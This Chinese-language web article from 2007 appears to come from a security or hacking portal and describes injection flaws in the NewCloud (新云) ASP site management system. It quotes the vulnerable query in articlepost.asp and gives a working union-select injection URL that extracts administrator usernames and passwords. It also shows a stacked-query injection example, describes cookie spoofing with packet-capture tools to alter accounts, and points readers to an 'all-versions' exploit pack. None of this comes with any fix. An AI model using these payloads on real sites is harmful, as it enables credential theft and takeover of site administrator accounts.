精典的ASP 传奇的J2EE 新生的NET FTP服务器服务器安全 WINDOWS B/S 模式 WEB安全 WAP世界动态网站推广宣传
空间服务器数据库技术邮局服务器站長工具硬设与组建 Alexa专题 DHTML 项目管理 WEB标准电脑硬件
病毒知识电脑使用布线协议接入交换路由局域网无线网络网络规划
Visual Basic Visual C/C++ Mssql MySql oracle Sybase 存在安全风险进程系统进程列表应用程序进程列表其它进程列表
黑客编程漏洞分析本地提权免杀技术脚本漏洞数据库注入安全防护内网渗透加密解密工具使用
WAP技术 WAP入门

您的位置： >> 相关知识 >> 服务器搭建 >> 服务器安全 >>

新云网站管理系统文件注入漏洞

合金网络科技

添加日期:2007-11-26 点击次数:19次

关于新云

以下是引用片段：
新云网络成立于2002年,是一家提供现代网络服务、软件开发的网络公司，主要从事网络应用软件开发、电子商务系统开发，程序订制、网站开发、网站策划、域名注册、空间租用等多项业务，为企业打造卓越的网络应用平台。

漏洞原理

利用各种方法实现入侵，如COOKIES、抓包、注入检测等。

1.过滤未全

user\articlepost.asp 文件第333行

Quote
SQL = 'select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,
WriteTime,username from NC_Article where ChannelID=' & ChannelID & ' And
username=’' & Newasp.MemberName & '’
And ArticleID=' & Request('ArticleID')

没有任何过滤，只有用户是否有权限发文章的检查。综合代码原理可构造URL语句：

articlepost.asp?ChannelID=1&action=view&ArticleID=1%20union%20select%
201,2,3,4,5,username,password,8,9%20from%20nc_admin

注册后直接在浏览器上输入，就可以爆出管理员的表和代码。

2.新云2.1SQL版注入漏洞

漏洞描述：

动画频道的“动画管理”和“审核管理”，错误类型：

Quote

以下是引用片段：
Microsoft OLE DB Provider for SQL Server (0x80040E14)
未能找到存储过程 ’NC_FlashAdminList’。
/admin/admin_Flash.asp, 第 233 行

可以利用SQL注入方法，手工&工具，这个就不用我教了吧。如:

articlepost.asp?ChannelID=1&action=view&ArticleID=1;--

3.COOKIES欺骗获取管理账号

攻击者只需使用WSockExpert等工具抓包修改资料时的信息，编辑用户名及ID信息后用NC提交即可修改指定的用户信息。

4.coon.asp的下载

新云下载程序最新通杀漏洞 -通杀所有版本.rar 呵呵大家可以去百度搜索下很多的哦。。。